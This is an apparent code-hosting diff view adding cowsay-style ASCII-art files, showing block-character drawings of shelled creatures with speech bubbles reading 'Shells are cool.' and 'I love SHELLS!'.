▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 
+31
View File
@@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 

+27
View File
@@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

Some files were not shown because too many files have changed in this diff Show More